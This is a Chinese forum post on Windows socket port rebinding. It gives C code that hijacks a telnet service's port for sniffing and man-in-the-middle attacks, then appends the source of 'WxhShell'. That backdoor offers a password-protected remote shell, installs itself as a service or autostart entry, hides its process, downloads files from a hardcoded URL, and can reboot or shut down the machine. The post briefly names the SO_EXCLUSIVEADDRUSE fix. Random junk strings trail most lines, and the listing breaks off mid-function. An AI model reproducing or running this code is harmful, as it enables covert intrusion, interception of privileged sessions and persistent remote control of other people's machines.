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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T763:v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =svN#q5s  
{Xy5pfW Q  
  saddr.sin_family = AF_INET; G_JA-@i%  
q i;1L Kc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3}1u\(Mf  
T!{w~'=F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^76]0`gS  
\@zHON(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wlvgg  
gQuw1  
  这意味着什么?意味着可以进行如下的攻击: @mBQ?; qlK  
]W!0$'o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $PPi5f}HD  
X?',n 1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^ytrK Q  
w9imKVry  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BO&bmfp7,  
^ @5QP$.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V!=,0zy~Z  
*&W"bOMH*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J8(lIk:e  
&z3o7rif$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J@'wf8Ub  
"S]TP$O D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SfyQ$$Z  
CRE3icXbQ  
  #include 'H!Uh]!  
  #include R n[cW5Y<  
  #include am'7uy!ka~  
  #include    kzLsoZ!I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X_h}J=33Q  
  int main() cT,sh~-x,  
  { {tZ.v@  
  WORD wVersionRequested; m s \}  
  DWORD ret; {\5  
  WSADATA wsaData; =T@1@w  
  BOOL val; )10+@d  
  SOCKADDR_IN saddr; <'*LRd$1  
  SOCKADDR_IN scaddr; 0~S^Y1hH  
  int err; \b x$i*  
  SOCKET s; *)Zdz9E'1(  
  SOCKET sc; f6Ah6tb  
  int caddsize; CTa57R  
  HANDLE mt; q} >%8;nm  
  DWORD tid;   O>,e~#!  
  wVersionRequested = MAKEWORD( 2, 2 ); IJ"q~r$  
  err = WSAStartup( wVersionRequested, &wsaData ); pnOAs&QAm  
  if ( err != 0 ) { 0e4{{zQx  
  printf("error!WSAStartup failed!\n"); }Y\%RA  
  return -1; EQM {  
  } T8g$uFo  
  saddr.sin_family = AF_INET; /x$nje,.  
   =H8;iS2R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6&x@.1('z  
7:1Lol-V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c@7rqHU-0  
  saddr.sin_port = htons(23); p5iuYHKk?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &QgR*,5eo  
  { R m( "=(  
  printf("error!socket failed!\n"); }7Q%6&IR  
  return -1; /8S>;5hvK@  
  } T~e.PP  
  val = TRUE; |{ip T SH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C6PdDRf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #6=  
  { rILYI;'o  
  printf("error!setsockopt failed!\n"); l f, 5w  
  return -1; ms]sD3z/W+  
  } 7 <R E_/]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4r}51 N\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?@86P|19  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;Y, y4{H3  
ZECfR>`x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e^voW"?%  
  { hVY$;s  
  ret=GetLastError(); k_#)Tw*  
  printf("error!bind failed!\n"); 9'B `]/L  
  return -1; WyiQoN'q  
  } |6- nbj  
  listen(s,2); yWSGi#)1  
  while(1) x q h  
  { <hyKu  
  caddsize = sizeof(scaddr); /{I$#:M  
  //接受连接请求 2,b$7xaf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bzf^ivT3L  
  if(sc!=INVALID_SOCKET) > (<f 0  
  { L4W5EO$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \FaP|28h  
  if(mt==NULL) jP.dDYc  
  { {JLtE{  
  printf("Thread Creat Failed!\n"); '&b+R`g'  
  break; TWTb?HP  
  } f o3}W^0  
  } : A;RH  
  CloseHandle(mt); d=/F}yP~?s  
  } YmG("z  
  closesocket(s); $`8wJf9@w  
  WSACleanup(); {qVZNXDn  
  return 0; z1a7*)8P  
  }   -9?]IIVb  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;_=&-mz  
  { omx=  
  SOCKET ss = (SOCKET)lpParam; Mtx4'WZ  
  SOCKET sc; ;'1d1\wiDQ  
  unsigned char buf[4096]; V7/Rby Q  
  SOCKADDR_IN saddr; [}m[)L\  
  long num; 8ao_i=&x  
  DWORD val; "[N!m1i:{  
  DWORD ret; ;tf=gdX;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kJR`:J3DJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2~V*5~fb  
  saddr.sin_family = AF_INET; lB4WKn=?Kl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6S #Cl>v  
  saddr.sin_port = htons(23); 7yQ4*UB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lw,h+@0  
  {  M6TD"-  
  printf("error!socket failed!\n"); /-s6<e!  
  return -1; |s_GlJV.  
  } EqiY\/S  
  val = 100; E{(;@PzE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xIn:ZKJ'  
  { :4|4=mkr  
  ret = GetLastError(); I/N *gy?*  
  return -1; k5)om;.w  
  } `]aeI'[}R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rm_Nn8p,  
  { @4#vm@Yf_  
  ret = GetLastError(); 7zc^!LrW<  
  return -1; <UCl@5g&  
  } dh\P4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =(^3}x  
  { +7}]E1Uf  
  printf("error!socket connect failed!\n"); j<$2hiI/?&  
  closesocket(sc); l,).p  
  closesocket(ss); G~m<;  
  return -1; 2<3K3uz  
  } !R$`+wZ62  
  while(1) \)e'`29;  
  { 6LhTBV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d;>QhoiL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~LC-[&$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KPki}'GO  
  num = recv(ss,buf,4096,0); CC`JZ.SO  
  if(num>0) 7EJ+c${e.-  
  send(sc,buf,num,0); Q b%J8juRf  
  else if(num==0) +ge?w#R  
  break; Vvo 7C!$z  
  num = recv(sc,buf,4096,0); 2 E= L8<  
  if(num>0) ;VK.2^jW!  
  send(ss,buf,num,0); ~J]qP#C  
  else if(num==0) rl.}%Ny  
  break; 7 8,n%=nG  
  } '%;m?t% q  
  closesocket(ss); ^J{:x  
  closesocket(sc); d-%hjy3N  
  return 0 ; S jj6q`  
  } gM]:Ma  
Y-9I3?ar  
MK*r+xfSae  
========================================================== TqQ[_RKg2  
Ort(AfW  
下边附上一个代码,,WXhSHELL +7a6*;\ y  
76SXJ9@x  
========================================================== !IR6 ,A\  
@VI@fN  
#include "stdafx.h" @6]JIJE  
SrJE_~i  
#include <stdio.h> QV8g#&z  
#include <string.h> -g<oS9   
#include <windows.h> n+p }\msH  
#include <winsock2.h> <ZW-QN4  
#include <winsvc.h> XP}<N&j  
#include <urlmon.h> ~M$Wd2Th  
G/W>S,(  
#pragma comment (lib, "Ws2_32.lib") atzX;@"K  
#pragma comment (lib, "urlmon.lib") _v:SP LU  
`@%LzeGz  
#define MAX_USER   100 // 最大客户端连接数 X-/]IH DN  
#define BUF_SOCK   200 // sock buffer 3U}%2ARo_  
#define KEY_BUFF   255 // 输入 buffer ^f@=:eWI  
[><Tm \(:  
#define REBOOT     0   // 重启 Lj7AZ|k  
#define SHUTDOWN   1   // 关机 ^^Vg~){4  
d_ CT $  
#define DEF_PORT   5000 // 监听端口 VaPG-n>Vf  
eH,or,r  
#define REG_LEN     16   // 注册表键长度 A(XKyEx  
#define SVC_LEN     80   // NT服务名长度 j1Ezf=N6`  
4z)]@:`}z  
// 从dll定义API ABkl%m6xf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "jCu6Rjd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ dg\\c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WzWX E(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U!]dEW|G  
/@5YW"1  
// wxhshell配置信息 13f)&#, F  
struct WSCFG { )}v l\7=  
  int ws_port;         // 监听端口 P {'b:C  
  char ws_passstr[REG_LEN]; // 口令 `_h&glMJ,q  
  int ws_autoins;       // 安装标记, 1=yes 0=no R#KU^]"(  
  char ws_regname[REG_LEN]; // 注册表键名 8k79&|  
  char ws_svcname[REG_LEN]; // 服务名 :KO2| v\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Va8&Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z%kULTL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !9x}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R-Sym8c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TZ`SZDc7_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8Y?;x}  
L(\cHb9`  
}; \NC3'G:Ii  
(.,G=\!  
// default Wxhshell configuration >3bCTE   
struct WSCFG wscfg={DEF_PORT, ,?3G;-  
    "xuhuanlingzhe", E"0>yl)  
    1, GthYzd:'hJ  
    "Wxhshell", 8>V5d Ebx'  
    "Wxhshell", Ts9uL5i  
            "WxhShell Service", I:.s_8mH}  
    "Wrsky Windows CmdShell Service", %znc##j)q  
    "Please Input Your Password: ", v,t:+ !8  
  1, ] R*A  
  "http://www.wrsky.com/wxhshell.exe", ]f3>-)$*  
  "Wxhshell.exe" PW4q~rc=:  
    }; ntY]SK%Z  
SX*RP;vHy  
// 消息定义模块  _4f;<FL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W9)&!&<o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9FX-1,Jx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H.0K?N&\?>  
char *msg_ws_ext="\n\rExit."; 4\i[m:e=@  
char *msg_ws_end="\n\rQuit."; r :dTz  
char *msg_ws_boot="\n\rReboot..."; /O9EQPm(  
char *msg_ws_poff="\n\rShutdown..."; KmF]\:sMD  
char *msg_ws_down="\n\rSave to "; > P)w?:k  
EQ ttoOO  
char *msg_ws_err="\n\rErr!"; Wjc'*QCPl  
char *msg_ws_ok="\n\rOK!"; nP$9CA  
ElXFeJ%[G  
char ExeFile[MAX_PATH]; c`W,~[Q<O+  
int nUser = 0; y)*RV;^  
HANDLE handles[MAX_USER]; H>C=zo,oiC  
int OsIsNt; Cyp'?N  
olcDt&xv]  
SERVICE_STATUS       serviceStatus; wS*E(IAl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q.[0ct  
P*o9a  
// 函数声明 N;gfbh]  
int Install(void); ;\]@K6m/Ap  
int Uninstall(void); *`U~?q}  
int DownloadFile(char *sURL, SOCKET wsh); dRDnJc3  
int Boot(int flag); He)%S]RLk  
void HideProc(void); v2?ZQeHr_(  
int GetOsVer(void); h$*!8=M  
int Wxhshell(SOCKET wsl); S[N5 ikg  
void TalkWithClient(void *cs); T;uX4,|(  
int CmdShell(SOCKET sock); F5Va+z,jg  
int StartFromService(void); +qoRP2  
int StartWxhshell(LPSTR lpCmdLine); b]y2+A.n  
h\e.e3/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y0>y8U V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z}QB.$&  
&FD>&WRV  
// 数据结构和表定义 iB{V^ksU  
SERVICE_TABLE_ENTRY DispatchTable[] = r3Ykz%6  
{ "}!G!k:  
{wscfg.ws_svcname, NTServiceMain}, MJvp6n  
{NULL, NULL} Vc2`b3"Br  
}; Jb(H %NJ  
nwWJ7M,A  
// 自我安装 PM+[,H  
int Install(void) =}*0-\QG  
{ G2Zer=rC  
  char svExeFile[MAX_PATH]; *or(1DXP8  
  HKEY key; ]oxZ77ciL  
  strcpy(svExeFile,ExeFile); "fI6Cpc  
'%D7C=;^  
// 如果是win9x系统,修改注册表设为自启动 c:0L+OF}xY  
if(!OsIsNt) { _L PHPj^Pg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w@b)g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (?c-iKGc  
  RegCloseKey(key); ! z**y}<T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P'2Qen*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E3i4=!Y  
  RegCloseKey(key); 6-I'>\U~  
  return 0; !?XC1xe~R  
    } +H.`MZ=  
  } FtZ?C@1/  
} >bxS3FCX  
else { -%~4W?  
M{\I8oOg  
// 如果是NT以上系统,安装为系统服务 q@&6#B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J1vR5wbu  
if (schSCManager!=0) ( =$ x.1  
{ K;(mC<  
  SC_HANDLE schService = CreateService ^"g~-  
  ( OPi0~s  
  schSCManager, $Y;RKe9  
  wscfg.ws_svcname, +%&yJ4-  
  wscfg.ws_svcdisp, ;,TFr}p`  
  SERVICE_ALL_ACCESS, \8 ":]EU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kgv T"s.  
  SERVICE_AUTO_START, @oNXZRg6  
  SERVICE_ERROR_NORMAL, 0erNc'e  
  svExeFile, U(Zq= M  
  NULL, 9z0p5)]n>  
  NULL, Z.WW(C.  
  NULL, S 5U;#H  
  NULL, VQs5"K"  
  NULL C}X\|J  
  ); "8/,Y"W"  
  if (schService!=0) qLCR] _*  
  { 2|,VqVb  
  CloseServiceHandle(schService); DqPw#<"H  
  CloseServiceHandle(schSCManager); !<oe=)Iz|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TseGXYH  
  strcat(svExeFile,wscfg.ws_svcname); ~@!bsLSMU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I|OoRq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 92c HwWZ!  
  RegCloseKey(key); T+$[eWk"a  
  return 0; B[}6-2<>?C  
    } B1gR5p0  
  } E@\e$?*X  
  CloseServiceHandle(schSCManager); LscGTs,  
} 5s XXM  
} lFk R=!?=  
7,MR*TO,  
return 1; s*4dxnS_8  
} \^LFkp  
<$YlH@;)`a  
// 自我卸载 vIvIfE  
int Uninstall(void) u ?"Vm  
{ >ef6{URy<  
  HKEY key; 6LZCgdS{  
H+#FSdy#  
if(!OsIsNt) { t7pFW^&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jo7\`#(Q  
  RegDeleteValue(key,wscfg.ws_regname); t:S+%u U  
  RegCloseKey(key); LP-o8c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TzZq(? V  
  RegDeleteValue(key,wscfg.ws_regname); b$7 +;I;  
  RegCloseKey(key);  k'YTpO  
  return 0; zqku e%^?-  
  } FwK] $4*  
} NHt\ U9l'  
} N#] ypl  
else { f^e)O$N9]  
> !JS:5|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3%6? g*  
if (schSCManager!=0) [Pp'Ye~K@c  
{ maZ)cW?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yauvXosX  
  if (schService!=0) @iiT<  
  { _aphkeqd  
  if(DeleteService(schService)!=0) { xk5 ]^yDp  
  CloseServiceHandle(schService); jdN` mosJ  
  CloseServiceHandle(schSCManager); YUb_y^B^  
  return 0; RCrCs  
  } ,6/V" kqIP  
  CloseServiceHandle(schService); TC('H[ ]  
  } #mT"gs  
  CloseServiceHandle(schSCManager); 5-V pJ  
} -LSWmrj  
} LeQjvW9y  
"Q<MS'a  
return 1; VTM/hJmwJ  
} wzA$'+Mb  
W_=f'yb:E  
// 从指定url下载文件 OI*H,Z "  
int DownloadFile(char *sURL, SOCKET wsh) wkq 66?  
{ .}t e>]A*  
  HRESULT hr; 9$t( &z=  
char seps[]= "/"; Gdw VtqbX  
char *token; 4*L_)z&4;  
char *file; x2EUr,7  
char myURL[MAX_PATH]; F [M,]?   
char myFILE[MAX_PATH]; }k0_5S  
s iaG'%@*r  
strcpy(myURL,sURL); mw!F{pw  
  token=strtok(myURL,seps); PCvWS.{  
  while(token!=NULL) ?[AD=rUC  
  { !1k_PY5)  
    file=token; \bF{-"7.  
  token=strtok(NULL,seps); ,}PgOJZ  
  } 0[`^\Mv4y  
0@(&eH=  
GetCurrentDirectory(MAX_PATH,myFILE); yevPHN"M  
strcat(myFILE, "\\"); )4OxY[2J  
strcat(myFILE, file); {=WgzP  
  send(wsh,myFILE,strlen(myFILE),0); yfSmDPh  
send(wsh,"...",3,0); hM{bavd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3F3A%C%  
  if(hr==S_OK) 6<]lW  
return 0; 8y L Y  
else zda 3 ,U2o  
return 1; UZMd~|  
S!UaH>Rh  
} H)?z #x  
h\o.&6sd  
// 系统电源模块 j^'go&p  
int Boot(int flag) 8Wx=p#_  
{ %;_MGae  
  HANDLE hToken; UpG~[u)%@  
  TOKEN_PRIVILEGES tkp; :]KAkhFkbb  
L#J1b!D&<6  
  if(OsIsNt) { fl(wV.Je|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t!XwW$@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vt8By@]:  
    tkp.PrivilegeCount = 1; n[z+<VGwC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `Oa WGZ[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~a:  
if(flag==REBOOT) { 3$ pX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NOva'qk  
  return 0; %Zi} MPx  
} $I=~S[p  
else { N['  .BN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tA;}h7/Lc~  
  return 0; ;`&kZi60Hz  
} kj_c%T ]/  
  } ,prf;|e?  
  else { XTy x r  
if(flag==REBOOT) { t# i #(H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b;n[mk  
  return 0; \dVOwr  
} v+XJ*N[W  
else { (HVGlw'`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X8|,   
  return 0; DVA:Cmh\  
} ;+%rw2Z,B  
} r&CiSMS*  
t0S 1QC+  
return 1; _b 0& !l<  
} 6Oq 7#3]  
d6O[ @CyP  
// win9x进程隐藏模块 5O% {{J  
void HideProc(void) \hXDO_U  
{ KoT\pY^7\  
g#bRT*,L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^W ^OfY  
  if ( hKernel != NULL ) @C$]//;  
  { s<Ziegmw|g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d=(mw_-?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LoV<:|GTI  
    FreeLibrary(hKernel); occ7zcA  
  } ]Um/FAW  
jd: 6:Fm  
return;  R&&4y 7  
} V!Uc(  
TOt dUO  
// 获取操作系统版本 & 21%zPm  
int GetOsVer(void) ZVBXx\{s  
{ KO [Yi  
  OSVERSIONINFO winfo; ]gOy(\B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aN?zmkPpov  
  GetVersionEx(&winfo); /: "1Z]@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a(nlTMfu  
  return 1; dd;~K&_Q/i  
  else W1~0_;  
  return 0; zCZf%ATq  
} :Ye !w$r  
4s- !7  
// 客户端句柄模块 e ,(mR+a8  
int Wxhshell(SOCKET wsl) **%37  
{ lxx2H1([  
  SOCKET wsh; RZLq]8pM  
  struct sockaddr_in client; 3fj4%P"  
  DWORD myID; vXs"Dst  
tmq OJ  
  while(nUser<MAX_USER) oR'm2d^  
{ b6bHTH0  
  int nSize=sizeof(client); (QEG4&9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +7Gwg  
  if(wsh==INVALID_SOCKET) return 1; )nkY_' BV  
L *wYx|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y(#e}z:  
if(handles[nUser]==0) )A6<c%d =x  
  closesocket(wsh); q V =!ORuj  
else )9g2D`a4  
  nUser++; |Cv!,]9:r  
  } ( .:e,l{U%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y[;>#j$  
l?e.9o2-  
  return 0; WWY6ha  
} yWK)vju"  
A.SvA Yn  
// 关闭 socket ?,z}%p  
void CloseIt(SOCKET wsh) 2/?|&[  
{ ch]IzdD  
closesocket(wsh); #a#F,ZT  
nUser--; e~OpofJNb  
ExitThread(0); :#Wd~~d  
} )=+|i3]U  
5pX6t  
// 客户端请求句柄 6nn *]|7  
void TalkWithClient(void *cs) /~1+i'7V.,  
{ llq<egZpm  
4#D,?eA7  
  SOCKET wsh=(SOCKET)cs; Mx}gN:Wt  
  char pwd[SVC_LEN]; 5P2K5,o|n~  
  char cmd[KEY_BUFF]; &>O+}>lr9  
char chr[1]; \bXa&Lq  
int i,j; =;L|gtH"  
4W75T2q#  
  while (nUser < MAX_USER) { 2 ?C)&  
97Vtn4N3  
if(wscfg.ws_passstr) { LVy yO3e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b%+Xy8a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a?1Wq  
  //ZeroMemory(pwd,KEY_BUFF); KI.unP%  
      i=0; *. t^MP  
  while(i<SVC_LEN) { W?& %x(6M  
tQVVhXQ7  
  // 设置超时 ^iA9%zp  
  fd_set FdRead; 7V>M]  
  struct timeval TimeOut; Uo49*Mr  
  FD_ZERO(&FdRead); ?,/ }`3Vw  
  FD_SET(wsh,&FdRead); (3e 2c  
  TimeOut.tv_sec=8; kJU2C=m@e2  
  TimeOut.tv_usec=0;  " bG2:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u8^lB7!e/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 637: oT_`O  
sW$XH1Uf#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _1^'(5f$  
  pwd=chr[0]; y_,bu^+*  
  if(chr[0]==0xd || chr[0]==0xa) { vO=fP_  
  pwd=0;  ]~-r} `]  
  break; @EAbF>>  
  } P>T"cv  
  i++; NK+o1   
    } KvS G;  
4i bc  
  // 如果是非法用户,关闭 socket xw%0>K[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7)m9"InDI  
} 1C.VnzRnJ  
M|-)GvR$J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N`i/mP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M5B# TAybC  
MD]>g>  
while(1) { [QTV9  
CTK;dM'uQ  
  ZeroMemory(cmd,KEY_BUFF); yZ:qU({KhD  
iso4]>LF  
      // 自动支持客户端 telnet标准   @HW*09TG  
  j=0; Efe 7gE'  
  while(j<KEY_BUFF) { & kIFcd@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }u|q0>^8  
  cmd[j]=chr[0]; $]1=\ I  
  if(chr[0]==0xa || chr[0]==0xd) { AW .F3hN)  
  cmd[j]=0; 0:+E-^X  
  break; DIvHvFss  
  } i4Jc.8^9$  
  j++; oU|c.mYe  
    } 6zkaOA46V  
B!yr!DWv  
  // 下载文件 dx]>(e@(t{  
  if(strstr(cmd,"http://")) { /?!u{(h}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <i[HbgUlO.  
  if(DownloadFile(cmd,wsh)) s{++w5s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :,^gj  
  else K,]=6 Rj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c,22*.V/  
  } zi:BF60]=  
  else { ax2B ]L2  
]Dzlp7Y}  
    switch(cmd[0]) { =sFTxd_"iQ  
  mmsPLv6  
  // 帮助 wBzC5T%,  
  case '?': { 67TwPvh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +(*DT9s+  
    break; iE{&*.q_}>  
  } _|p8M!  
  // 安装 Q?T]MUY(L  
  case 'i': { VpUAeWb  
    if(Install()) &zhAh1m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8fb'yjIC  
    else P2!C|SLK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zX~MC?,W1  
    break; l,: F  
    } Q&&@v4L   
  // 卸载 JRFtsio*  
  case 'r': { +V+a4lU14  
    if(Uninstall()) /=h` L ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p'fYULYE  
    else {$r[5%L\H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5IN(|B0  
    break; F?cK- .  
    } }Lv;!  
  // 显示 wxhshell 所在路径 2tLJU  Z1  
  case 'p': { eQ"E   
    char svExeFile[MAX_PATH]; h~26WLf.  
    strcpy(svExeFile,"\n\r"); :EH=_"  
      strcat(svExeFile,ExeFile); /bEAK-  
        send(wsh,svExeFile,strlen(svExeFile),0); G:JR7N$  
    break; k8Xm n6X  
    } 1cGmg1U;  
  // 重启 :LTN!jj  
  case 'b': { q=G+Tocv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G`zm@QL  
    if(Boot(REBOOT)) .2pK.$.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2%> FR4a  
    else { oE~RyS X  
    closesocket(wsh); OTp]Xe/  
    ExitThread(0); \1`O_DF~o  
    } AEuG v}#  
    break; Y~Ifj,\  
    } IAEAhqp  
  // 关机 nie%eC&U  
  case 'd': { Wf<LR3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fLVAKn  
